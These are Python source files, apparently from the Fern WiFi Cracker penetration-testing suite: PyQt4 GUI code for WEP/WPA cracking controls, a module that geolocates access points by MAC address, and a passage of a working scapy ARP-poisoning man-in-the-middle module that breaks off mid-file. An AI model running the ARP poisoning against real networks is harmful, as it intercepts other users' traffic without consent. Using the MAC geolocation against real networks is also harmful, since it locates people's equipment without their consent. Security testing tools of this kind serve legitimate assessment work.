spacerItem14 = QtGui.QSpacerItem(20, 0, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Fixed)
self.verticalLayout.addItem(spacerItem14)
spacerItem15 = QtGui.QSpacerItem(20, 10, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Expanding)
self.verticalLayout.addItem(spacerItem15)
self.label_7 = QtGui.QLabel(Dialog)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Ignored, QtGui.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.label_7.sizePolicy().hasHeightForWidth())
self.label_7.setSizePolicy(sizePolicy)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.label_7.setFont(font)
self.label_7.setObjectName(_fromUtf8("label_7"))
self.verticalLayout.addWidget(self.label_7)
spacerItem16 = QtGui.QSpacerItem(20, 18, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Expanding)
self.verticalLayout.addItem(spacerItem16)
self.horizontalLayout_4.addLayout(self.verticalLayout)
self.verticalLayout_19.addLayout(self.horizontalLayout_4)
self.horizontalLayout_8 = QtGui.QHBoxLayout()
self.horizontalLayout_8.setObjectName(_fromUtf8("horizontalLayout_8"))
self.verticalLayout_10 = QtGui.QVBoxLayout()
self.verticalLayout_10.setObjectName(_fromUtf8("verticalLayout_10"))
spacerItem17 = QtGui.QSpacerItem(168, 2, QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Minimum)
self.verticalLayout_10.addItem(spacerItem17)
self.wep_button = QtGui.QPushButton(Dialog)
self.wep_button.setEnabled(False)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.wep_button.sizePolicy().hasHeightForWidth())
self.wep_button.setSizePolicy(sizePolicy)
font = QtGui.QFont()
font.setPointSize(font_setting)
font.setBold(True)
font.setWeight(75)
self.wep_button.setFont(font)
icon4 = QtGui.QIcon()
icon4.addPixmap(QtGui.QPixmap(_fromUtf8("%s/resources/wifi_2.png"%(os.getcwd()))), QtGui.QIcon.Normal, QtGui.QIcon.Off)
self.wep_button.setIcon(icon4)
self.wep_button.setIconSize(QtCore.QSize(67, 62))
self.wep_button.setObjectName(_fromUtf8("wep_button"))
self.verticalLayout_10.addWidget(self.wep_button)
self.horizontalLayout_8.addLayout(self.verticalLayout_10)
self.verticalLayout_11 = QtGui.QVBoxLayout()
self.verticalLayout_11.setObjectName(_fromUtf8("verticalLayout_11"))
self.verticalLayout_2 = QtGui.QVBoxLayout()
self.verticalLayout_2.setObjectName(_fromUtf8("verticalLayout_2"))
spacerItem18 = QtGui.QSpacerItem(20, 18, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Expanding)
self.verticalLayout_2.addItem(spacerItem18)
self.wep_clientlabel = QtGui.QLabel(Dialog)
self.wep_clientlabel.setEnabled(False)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.wep_clientlabel.setFont(font)
self.wep_clientlabel.setObjectName(_fromUtf8("wep_clientlabel"))
self.verticalLayout_2.addWidget(self.wep_clientlabel)
spacerItem19 = QtGui.QSpacerItem(20, 18, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Expanding)
self.verticalLayout_2.addItem(spacerItem19)
self.verticalLayout_11.addLayout(self.verticalLayout_2)
self.horizontalLayout_8.addLayout(self.verticalLayout_11)
self.verticalLayout_19.addLayout(self.horizontalLayout_8)
self.horizontalLayout_9 = QtGui.QHBoxLayout()
self.horizontalLayout_9.setObjectName(_fromUtf8("horizontalLayout_9"))
self.verticalLayout_12 = QtGui.QVBoxLayout()
self.verticalLayout_12.setObjectName(_fromUtf8("verticalLayout_12"))
spacerItem20 = QtGui.QSpacerItem(168, 2, QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Minimum)
self.verticalLayout_12.addItem(spacerItem20)
self.wpa_button = QtGui.QPushButton(Dialog)
self.wpa_button.setEnabled(False)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.wpa_button.sizePolicy().hasHeightForWidth())
self.wpa_button.setSizePolicy(sizePolicy)
font = QtGui.QFont()
font.setPointSize(font_setting)
font.setBold(True)
font.setWeight(75)
self.wpa_button.setFont(font)
icon5 = QtGui.QIcon()
icon5.addPixmap(QtGui.QPixmap(_fromUtf8("%s/resources/wifi_6.png"%(os.getcwd()))), QtGui.QIcon.Normal, QtGui.QIcon.Off)
self.wpa_button.setIcon(icon5)
self.wpa_button.setIconSize(QtCore.QSize(67, 62))
self.wpa_button.setObjectName(_fromUtf8("wpa_button"))
self.verticalLayout_12.addWidget(self.wpa_button)
self.horizontalLayout_9.addLayout(self.verticalLayout_12)
self.verticalLayout_13 = QtGui.QVBoxLayout()
self.verticalLayout_13.setObjectName(_fromUtf8("verticalLayout_13"))
self.verticalLayout_3 = QtGui.QVBoxLayout()
self.verticalLayout_3.setObjectName(_fromUtf8("verticalLayout_3"))
spacerItem21 = QtGui.QSpacerItem(20, 18, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Expanding)
self.verticalLayout_3.addItem(spacerItem21)
self.wpa_clientlabel = QtGui.QLabel(Dialog)
self.wpa_clientlabel.setEnabled(False)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.wpa_clientlabel.setFont(font)
self.wpa_clientlabel.setObjectName(_fromUtf8("wpa_clientlabel"))
self.verticalLayout_3.addWidget(self.wpa_clientlabel)
spacerItem22 = QtGui.QSpacerItem(20, 18, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Expanding)
self.verticalLayout_3.addItem(spacerItem22)
self.verticalLayout_13.addLayout(self.verticalLayout_3)
self.horizontalLayout_9.addLayout(self.verticalLayout_13)
self.verticalLayout_19.addLayout(self.horizontalLayout_9)
self.horizontalLayout_10 = QtGui.QHBoxLayout()
self.horizontalLayout_10.setObjectName(_fromUtf8("horizontalLayout_10"))
self.verticalLayout_14 = QtGui.QVBoxLayout()
self.verticalLayout_14.setObjectName(_fromUtf8("verticalLayout_14"))
spacerItem23 = QtGui.QSpacerItem(168, 2, QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Minimum)
self.verticalLayout_14.addItem(spacerItem23)
self.database_button = QtGui.QPushButton(Dialog)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.database_button.sizePolicy().hasHeightForWidth())
self.database_button.setSizePolicy(sizePolicy)
font = QtGui.QFont()
font.setPointSize(font_setting)
font.setBold(True)
font.setWeight(75)
self.database_button.setFont(font)
icon6 = QtGui.QIcon()
icon6.addPixmap(QtGui.QPixmap(_fromUtf8("%s/resources/Database-64.png"%(os.getcwd()))), QtGui.QIcon.Normal, QtGui.QIcon.Off)
self.database_button.setIcon(icon6)
self.database_button.setIconSize(QtCore.QSize(67, 62))
self.database_button.setObjectName(_fromUtf8("database_button"))
self.verticalLayout_14.addWidget(self.database_button)
self.horizontalLayout_10.addLayout(self.verticalLayout_14)
self.verticalLayout_15 = QtGui.QVBoxLayout()
self.verticalLayout_15.setObjectName(_fromUtf8("verticalLayout_15"))
self.verticalLayout_4 = QtGui.QVBoxLayout()
self.verticalLayout_4.setObjectName(_fromUtf8("verticalLayout_4"))
spacerItem24 = QtGui.QSpacerItem(20, 18, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Expanding)
self.verticalLayout_4.addItem(spacerItem24)
self.label_16 = QtGui.QLabel(Dialog)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.label_16.setFont(font)
self.label_16.setObjectName(_fromUtf8("label_16"))
self.verticalLayout_4.addWidget(self.label_16)
spacerItem25 = QtGui.QSpacerItem(20, 18, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Expanding)
self.verticalLayout_4.addItem(spacerItem25)
self.verticalLayout_15.addLayout(self.verticalLayout_4)
self.horizontalLayout_10.addLayout(self.verticalLayout_15)
self.verticalLayout_19.addLayout(self.horizontalLayout_10)
self.horizontalLayout_11 = QtGui.QHBoxLayout()
self.horizontalLayout_11.setObjectName(_fromUtf8("horizontalLayout_11"))
self.verticalLayout_16 = QtGui.QVBoxLayout()
self.verticalLayout_16.setObjectName(_fromUtf8("verticalLayout_16"))
spacerItem26 = QtGui.QSpacerItem(168, 2, QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Minimum)
self.verticalLayout_16.addItem(spacerItem26)
self.tool_button = QtGui.QPushButton(Dialog)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.tool_button.sizePolicy().hasHeightForWidth())
self.tool_button.setSizePolicy(sizePolicy)
font = QtGui.QFont()
font.setPointSize(font_setting)
font.setBold(True)
font.setWeight(75)
self.tool_button.setFont(font)
icon7 = QtGui.QIcon()
icon7.addPixmap(QtGui.QPixmap(_fromUtf8("%s/resources/1295905972_tool_kit.png"%(os.getcwd()))), QtGui.QIcon.Normal, QtGui.QIcon.Off)
self.tool_button.setIcon(icon7)
self.tool_button.setIconSize(QtCore.QSize(67, 62))
self.tool_button.setObjectName(_fromUtf8("tool_button"))
self.verticalLayout_16.addWidget(self.tool_button)
self.horizontalLayout_11.addLayout(self.verticalLayout_16)
self.verticalLayout_17 = QtGui.QVBoxLayout()
self.verticalLayout_17.setObjectName(_fromUtf8("verticalLayout_17"))
self.verticalLayout_5 = QtGui.QVBoxLayout()
self.verticalLayout_5.setObjectName(_fromUtf8("verticalLayout_5"))
spacerItem27 = QtGui.QSpacerItem(20, 18, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Expanding)
self.verticalLayout_5.addItem(spacerItem27)
self.label_13 = QtGui.QLabel(Dialog)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.label_13.setFont(font)
self.label_13.setText(_fromUtf8(""))
self.label_13.setObjectName(_fromUtf8("label_13"))
self.verticalLayout_5.addWidget(self.label_13)
spacerItem28 = QtGui.QSpacerItem(20, 18, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Expanding)
self.verticalLayout_5.addItem(spacerItem28)
self.verticalLayout_17.addLayout(self.verticalLayout_5)
self.horizontalLayout_11.addLayout(self.verticalLayout_17)
self.verticalLayout_19.addLayout(self.horizontalLayout_11)
self.verticalLayout_27.addLayout(self.verticalLayout_19)
self.verticalLayout_25.addLayout(self.verticalLayout_27)
self.horizontalLayout_7.addLayout(self.verticalLayout_25)
self.verticalLayout_29.addLayout(self.horizontalLayout_7)
self.groupBox = QtGui.QGroupBox(Dialog)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Expanding)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.groupBox.sizePolicy().hasHeightForWidth())
self.groupBox.setSizePolicy(sizePolicy)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.groupBox.setFont(font)
self.groupBox.setObjectName(_fromUtf8("groupBox"))
self.verticalLayout_7 = QtGui.QVBoxLayout(self.groupBox)
self.verticalLayout_7.setObjectName(_fromUtf8("verticalLayout_7"))
self.horizontalLayout_13 = QtGui.QHBoxLayout()
self.horizontalLayout_13.setObjectName(_fromUtf8("horizontalLayout_13"))
self.verticalLayout_6 = QtGui.QVBoxLayout()
self.verticalLayout_6.setObjectName(_fromUtf8("verticalLayout_6"))
self.label_6 = QtGui.QLabel(self.groupBox)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Expanding)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.label_6.sizePolicy().hasHeightForWidth())
self.label_6.setSizePolicy(sizePolicy)
self.label_6.setObjectName(_fromUtf8("label_6"))
self.verticalLayout_6.addWidget(self.label_6)
self.horizontalLayout_12 = QtGui.QHBoxLayout()
self.horizontalLayout_12.setObjectName(_fromUtf8("horizontalLayout_12"))
self.label_90 = QtGui.QLabel(self.groupBox)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Expanding)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.label_90.sizePolicy().hasHeightForWidth())
self.label_90.setSizePolicy(sizePolicy)
self.label_90.setObjectName(_fromUtf8("label_90"))
self.horizontalLayout_12.addWidget(self.label_90)
spacerItem29 = QtGui.QSpacerItem(0, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_12.addItem(spacerItem29)
self.label = QtGui.QLabel(self.groupBox)
self.label.setObjectName(_fromUtf8("label"))
self.horizontalLayout_12.addWidget(self.label)
self.verticalLayout_6.addLayout(self.horizontalLayout_12)
self.horizontalLayout_13.addLayout(self.verticalLayout_6)
spacerItem30 = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_13.addItem(spacerItem30)
self.verticalLayout_7.addLayout(self.horizontalLayout_13)
self.verticalLayout_29.addWidget(self.groupBox)
self.verticalLayout_30.addLayout(self.verticalLayout_29)
self.retranslateUi(Dialog)
QtCore.QMetaObject.connectSlotsByName(Dialog)
def retranslateUi(self, Dialog):
pythonver = str(sys.version)
display = str(commands.getstatusoutput('aircrack-ng'))
Dialog.setWindowTitle(QtGui.QApplication.translate("Dialog", "Fern WIFI Cracker", None, QtGui.QApplication.UnicodeUTF8))
self.update_label.setText(QtGui.QApplication.translate("Dialog", "Latest update is installed: Revision 10", None, QtGui.QApplication.UnicodeUTF8))
self.py_version_label.setText(QtGui.QApplication.translate("Dialog", "Python Version: <font color=green>%s</font>"%(pythonver[0:14].replace('(',(''))), None, QtGui.QApplication.UnicodeUTF8))
self.air_version.setText(QtGui.QApplication.translate("Dialog", "Aircrack Version: <font color=green>%s</font>"%(display[11:33]), None, QtGui.QApplication.UnicodeUTF8))
self.qt_version.setText(QtGui.QApplication.translate("Dialog", "Qt Version: <font color=green>%s</font>"%(QtCore.PYQT_VERSION_STR), None, QtGui.QApplication.UnicodeUTF8))
self.refresh_intfacebutton.setText(QtGui.QApplication.translate("Dialog", " Refresh", None, QtGui.QApplication.UnicodeUTF8))
self.mon_label.setText(QtGui.QApplication.translate("Dialog", "Monitor Mode enabled on wlan0", None, QtGui.QApplication.UnicodeUTF8))
self.label_7.setText(QtGui.QApplication.translate("Dialog", "Scan for Access points", None, QtGui.QApplication.UnicodeUTF8))
self.wep_button.setText(QtGui.QApplication.translate("Dialog", "WEP", None, QtGui.QApplication.UnicodeUTF8))
self.wep_clientlabel.setText(QtGui.QApplication.translate("Dialog", "Detection Status", None, QtGui.QApplication.UnicodeUTF8))
self.wpa_button.setText(QtGui.QApplication.translate("Dialog", "WPA", None, QtGui.QApplication.UnicodeUTF8))
self.wpa_clientlabel.setText(QtGui.QApplication.translate("Dialog", "Detection Status", None, QtGui.QApplication.UnicodeUTF8))
self.database_button.setText(QtGui.QApplication.translate("Dialog", "Key Database", None, QtGui.QApplication.UnicodeUTF8))
self.label_16.setText(QtGui.QApplication.translate("Dialog", "No Key Entries", None, QtGui.QApplication.UnicodeUTF8))
self.tool_button.setText(QtGui.QApplication.translate("Dialog", "ToolBox", None, QtGui.QApplication.UnicodeUTF8))
self.label_13.setText(QtGui.QApplication.translate("Dialog", "", None, QtGui.QApplication.UnicodeUTF8))
self.groupBox.setTitle(QtGui.QApplication.translate("Dialog", "About Fern WIFI Cracker", None, QtGui.QApplication.UnicodeUTF8))
self.label_6.setText(QtGui.QApplication.translate("Dialog", "GUI suite for wireless encryption strength testing of 802.11 wireless encryption standard access points", None, QtGui.QApplication.UnicodeUTF8))
self.label_90.setText(QtGui.QApplication.translate("Dialog", "Written by Saviour Emmanuel Ekiko", None, QtGui.QApplication.UnicodeUTF8))
self.label.setText(QtGui.QApplication.translate("Dialog", " Report Bugs at : savioboyz@rocketmail.com", None, QtGui.QApplication.UnicodeUTF8))
| Python |
import os
import thread
import sqlite3
import tracker_core
from gui.geotrack import *
from core import variables
from PyQt4 import QtGui,QtCore
fern_map_access = tracker_core.Fern_Geolocation()
class Fern_geolocation_tracker(QtGui.QDialog,Ui_fern_geotrack):
'''Main windows class'''
def __init__(self):
QtGui.QDialog.__init__(self)
self.setupUi(self)
self.retranslateUi(self)
self.setWindowModality(QtCore.Qt.ApplicationModal)
self.database_accesspoint = {} # Holds all database accesspoint name and mac details
self.idlelize_items()
self.set_database_access_points()
self.display_html(variables.html_instructions_message)
self.connect(self.database_radio,QtCore.SIGNAL("clicked()"),self.set_database_mode)
self.connect(self.insert_mac_radio,QtCore.SIGNAL("clicked()"),self.set_mac_mode)
self.connect(self.track_button,QtCore.SIGNAL("clicked()"),self.launch_tracker)
self.connect(self,QtCore.SIGNAL("network timeout"),self.internet_connection_error)
self.connect(self,QtCore.SIGNAL("display map"),self.display_map)
#
# Database process methods
#
def database_items(self):
''' return list of database items'''
database = sqlite3.connect(os.getcwd() + '/key-database/Database.db')
database_connection = database.cursor()
database_connection.execute('select * from keys')
database_items = database_connection.fetchall()
database.close()
return database_items
def set_database_access_points(self):
''' fill combobox with database accesspoint
details
'''
if self.database_items():
self.database_radio.setChecked(True)
self.target_combo.setEditable(False)
for data_ in self.database_items():
if fern_map_access.isValid_Mac(data_[1]):
self.database_accesspoint[str(data_[0])] = str(data_[1]) # {'GLASS_HAWK':'0C:67:34:12:89:76'}
self.target_combo.addItems(sorted(self.database_accesspoint.keys()))
else:
self.target_combo.setEditable(True)
self.insert_mac_radio.setChecked(True)
#
# User option methods
#
def set_database_mode(self):
''' Change combo mode and insert database details'''
if self.database_items():
self.database_radio.setChecked(True)
self.target_combo.setEditable(False)
self.set_database_access_points()
else:
self.target_combo.setEditable(True)
self.insert_mac_radio.setChecked(True)
QtGui.QMessageBox.warning(self,'Empty Database entries',variables.database_null_error.strip('/n'))
self.target_combo.setFocus()
self.target_combo.clear()
def set_mac_mode(self):
''' Change combo mode for manual mac-address insertion'''
self.target_combo.setEditable(True)
self.insert_mac_radio.setChecked(True)
self.target_combo.setFocus()
self.target_combo.clear()
def get_unprocessed_mac(self):
if self.database_radio.isChecked():
access_point = str(self.target_combo.currentText())
mac_address = self.database_accesspoint[access_point]
else:
mac_address = str(self.target_combo.currentText())
return mac_address
#
# Fern Track initialization
#
def launch_tracker(self):
''' Evaluate user options and sets tracker class variables'''
self.idlelize_items()
self.display_html(str())
if self.database_radio.isChecked():
fern_map_access.set_mac_address(self.get_unprocessed_mac())
self.track_button.setText('Tracking...')
thread.start_new_thread(self.display_tracking,())
else:
if fern_map_access.isValid_Mac(self.get_unprocessed_mac()):
fern_map_access.set_mac_address(self.get_unprocessed_mac())
self.track_button.setText('Tracking...')
thread.start_new_thread(self.display_tracking,())
else:
QtGui.QMessageBox.warning(self,'Invalid Mac Address',variables.invalid_mac_address_error.strip('/n'))
self.display_html(variables.html_instructions_message)
self.target_combo.setFocus()
#
# Map Display methods
#
def display_html(self,html):
'''Displays map or error pages'''
self.map_viewer.setHtml(html)
def display_map(self):
'''Set map display'''
self.activate_items()
self.display_html(fern_map_access.get_fern_map())
def display_tracking(self):
''' Processes and displays map '''
if int(variables.commands.getstatusoutput('ping www.google.com -c 3')[0]):
self.emit(QtCore.SIGNAL("network timeout"))
else:
self.emit(QtCore.SIGNAL("display map"))
#
# Error display messages
#
def internet_connection_error(self):
'''Displays Internet error messages'''
self.idlelize_items()
self.display_html(variables.html_network_timeout_error)
#
# Co-ordinate details
#
def idlelize_items(self):
'''Set GUI objects to idle mode'''
self.mac_address_label.setText("Mac Address:")
self.country_label.setText("Country:")
self.latitude_label.setText("Latitude:")
self.city_label.setText("City: ")
self.longitude_label.setText("Longitude:")
self.street_label.setText("Street:")
self.accuracy_label.setText("Accuracy:")
self.country_code_label.setText("Country Code:")
self.track_button.setText("Track")
def activate_items(self):
'''Active and fill GUI objects with details'''
full_geo_details = fern_map_access.get_all_geoinfo()
try:
self.mac_address_label.setText("Mac Address: <font color=green><b>%s</b></font>"%\
(self.get_unprocessed_mac()))
except(KeyError):pass
try:
self.country_label.setText("Country: <font color=green><b>%s</b></font>"%\
(full_geo_details['location']['address']['country']))
except(KeyError):pass
try:
self.latitude_label.setText("Latitude: <font color=green><b>%s</b></font>"%\
(full_geo_details['location']['latitude']))
except(KeyError):pass
try:
self.city_label.setText("City: <font color=green><b>%s</b></font>"%\
(full_geo_details['location']['address']['city']))
except(KeyError):pass
try:
self.longitude_label.setText("Longitude: <font color=green><b>%s</b></font>"%\
(full_geo_details['location']['longitude']))
except(KeyError):pass
try:
self.street_label.setText("Street: <font color=green><b>%s</b></font>"%\
(full_geo_details['location']['address']['street']))
except(KeyError):pass
try:
self.accuracy_label.setText("Accuracy: <font color=green><b>%s</b></font>"%\
(full_geo_details['location']['accuracy']))
except(KeyError):pass
try:
self.country_code_label.setText("Country Code: <font color=green><b>%s</b></font>"%\
(full_geo_details['location']['address']['country_code']))
except(KeyError):pass
try:
self.track_button.setText("Track")
except(KeyError):pass
| Python |
#-------------------------------------------------------------------------------
# Name: Fern_Track
# Purpose: Tracking geographical location of Access points using mac address
#
# Author: Saviour Emmanuel Ekiko
#
# Created: 14/06/2011
# Copyright: (c) Fern Wifi Cracker 2011
# Licence: <GNU GPL v3>
#
#
#-------------------------------------------------------------------------------
# GNU GPL v3 Licence Summary:
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import re
import json
import httplib
class Fern_Geolocation(object):
def __init__(self):
self.mac_address = str()
def _fern_geo_access(self):
geo_data = dict()
api_key='{"version":"1.1.0","request_address":true,"wifi_towers":[{"mac_address":"%s","ssid":"","signal_strength":-50}]}'%(self.mac_address)
api_data = httplib.HTTPConnection('www.google.com')
api_data.request('POST','/loc/json',api_key)
data_ = api_data.getresponse()
if(data_):
geo_data = json.loads(data_.read())
return geo_data
def get_fern_map(self):
self._location_source = '''<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html style="height:100%">
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8"/>
<title>Google Maps</title>
<script src="http://maps.google.com/maps?file=api&v=2&sensor=false&key=ABQIAAAAzr2EBOXUKnm_jVnk0OJI7xSosDVG8KKPE1-m51RBrvYughuyMxQ-i1QfUnH94QxWIa6N4U6MouMmBA" type="text/javascript"></script>
</head>
<body onload="initialize()" onunload="GUnload()" style="height:100%;margin:0">
<div id="map" style="width: 100%; height: 100%;"></div>
<script type="text/javascript">
function initialize(){
if (GBrowserIsCompatible()) {
var latitude = ''' + str(self.get_coordinates()[0]) + ''';
var longitude = ''' + str(self.get_coordinates()[1]) + ''';
var map = new GMap2(document.getElementById("map"));
map.setCenter(new GLatLng(latitude,longitude),18);
map.setMapType(G_SATELLITE_MAP);
map.setUIToDefault();
map.enableRotation();
var Icon = new GIcon(G_DEFAULT_ICON);
Icon.iconSize = new GSize(40, 40);
Icon.image = "http://google-maps-icons.googlecode.com/files/wifi-logo.png";
var point = new GLatLng(latitude,longitude);
markerOptions = { icon:Icon };
map.addOverlay(new GMarker(point, markerOptions));
}
}
</script>
</body>
</html>
'''
return self._location_source
def isValid_Mac(self,mac_address):
hex_digits = re.compile('([0-9a-f]{2}:){5}[0-9a-f]{2}',re.IGNORECASE)
if re.match(hex_digits,mac_address):
return True
else:
return False
def set_mac_address(self,mac_address):
if self.isValid_Mac(mac_address):
mac_process = str(mac_address).replace(':','-')
self.mac_address = mac_process
def get_coordinates(self):
geo_data = self._fern_geo_access()
longitude = float(geo_data['location']['longitude'])
latitude = float(geo_data['location']['latitude'])
return (latitude,longitude)
def get_all_geoinfo(self):
return self._fern_geo_access()
def get_location(self):
location_process = self._fern_geo_access()
location_data = location_process['location']
return location_data
def get_address(self):
geo_data = self._fern_geo_access()
address = geo_data['location']['address']
return address
# mac_address = 00:CA:C9:67:23:45
#
# mac_location = Fern_Geolocation()
#
# if mac_location.isValid_Mac(mac_address):
# mac_location.set_mac_address(mac_address)
#
# mac_location.get_fern_map() // Returns html source with map info
#
# mac_location.get_coordinates() // Returns latitude and longitude
| Python |
#-------------------------------------------------------------------------------
# Name: MITM Core (Man In The Middle)
# Purpose: Redirecting Network traffic to attack host by various MITM engines
#
# Author: Saviour Emmanuel Ekiko
#
# Created: 15/08/2012
# Copyright: (c) Fern Wifi Cracker 2011
# Licence: <GNU GPL v3>
#
#
#-------------------------------------------------------------------------------
# GNU GPL v3 Licence Summary:
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import time
import thread
import threading
from scapy.all import *
class Fern_MITM_Class:
class ARP_Poisoning(object):
def __init__(self):
self._attack_option = str() # "ARP POISON" or "ARP POISON + ROUTE" or "DOS"
self.interface_card = str() # eth0, wlan0
self.gateway_IP_address = str() # Router or default gateway address
self._gateway_MAC_addr = str() # Router Mac Address, set by _set_Gateway_MAC()
self.subnet_hosts = {} # Holds IP Address to Mac Address Mappings of Subnet Hosts e.g {"192.168.0.1":"00:C0:23:DF:87"}
self.control = True # Used to control the processes. if False -> Stop
self.semaphore = threading.BoundedSemaphore(15)
self._local_mac = str() # Mac address for interface card
self._local_IP_Address = str() # IP address for interface card
def ARP_Who_Has(self,target_ip_address):
'''Send ARP request, remote host returns its MAC Address'''
ethernet = Ether(dst = "ff:ff:ff:ff:ff:ff",src = self._local_mac)
arp_packet = ARP(hwtype = 0x1,ptype = 0x800,hwlen = 0x6,plen = 0x4,
op = "who-has",hwsrc = self._local_mac,psrc = self._local_IP_Address,hwdst =
"00:00:00:00:00:00",pdst = target_ip_address)
padding_packet = Padding(load = "\x00"*18)
ARP_who_has_packet = ethernet/arp_packet/padding_packet
return(ARP_who_has_packet)
def ARP_Is_At(self,ip_address,target_mac_address):
'''Poisons Cache with fake target mac address'''
ethernet = Ether(dst = 'ff:ff:ff:ff:ff:ff',src = self._local_mac)
arp_packet = ARP(hwtype = 0x1,ptype = 0x800,hwlen = 0x6,plen = 0x4,
op = "is-at",hwsrc = self._local_mac,psrc = self.gateway_IP_address,hwdst =
'ff:ff:ff:ff:ff:ff',pdst = ip_address)
padding_packet = Padding(load = "\x00"*18)
ARP_is_at_packet = ethernet/arp_packet/padding_packet
return(ARP_is_at_packet)
def _gateway_MAC_Probe(self):
'''_set_Gate_Mac worker, runs thread that
sends and ARP who as packet to fecth gateway mac'''
while(self.control):
packet = self.ARP_Who_Has(self.gateway_IP_address)
sendp(packet,iface = self.interface_card)
if(self._gateway_MAC_addr):
break
time.sleep(3)
def _set_Gateway_MAC(self):
'''Fetches the Gateway MAC address'''
self._gateway_MAC_addr = str()
thread.start_new_thread(self._gateway_MAC_Probe,())
while not self._gateway_MAC_addr:
reply = sniff(filter = "arp",count = 2)[1]
if(reply.haslayer(ARP)):
if((reply.op == 0x2) and (reply.psrc == self.gateway_IP_address)):
self._gateway_MAC_addr = reply.hwsrc
break
def _network_Hosts_Probe(self):
'''ARP sweep subnet for available hosts'''
while(self.control):
segment = int(self.gateway_IP_address[:self.gateway_IP_address.index(".")])
if segment in range(1,127): # Class A IP address
address_func = self.class_A_generator
elif segment in range(128,191): # Class B IP address
address_func = self.class_B_generator
else: # Class C IP address
address_func = self.class_C_generator
for address in address_func(self.gateway_IP_address):
if not self.control:
return
time.sleep(0.01)
packet = self.ARP_Who_Has(address)
sendp(packet,iface = self.interface_card) # Send Who has packet to all hosts on subnet
time.sleep(30)
def _get_Network_Hosts_Worker(self,reply):
'''thread worker for the _get_Netword_Host method'''
self.semaphore.acquire()
try:
if(reply.haslayer(ARP)):
if((reply.op == 0x2) and (reply.hwsrc != self._local_mac)):
if not self.subnet_hosts.has_key(reply.hwsrc):
if(str(reply.hwsrc) != str(self._gateway_MAC_addr)):
self.subnet_hosts[reply.psrc] = reply.hwsrc
finally:
self.semaphore.release()
def _get_Network_Hosts(self):
'''Receives ARP is-at from Hosts on
the subnet'''
packet_count = 1
thread.start_new_thread(self._network_Hosts_Probe,())
sniff(filter = "arp",prn = self._get_Network_Hosts_Worker,store = 0)
def _poison_arp_cache(self):
'''Poisions ARP cache of detected Hosts'''
while(self.control):
for ip_address in self.subnet_hosts.keys():
packet = self.ARP_Is_At(ip_address,self.subnet_hosts[ip_address])
sendp(packet,iface = self.interface_card)
time.sleep(5)
def _redirect_network_traffic_worker(self,routed_data):
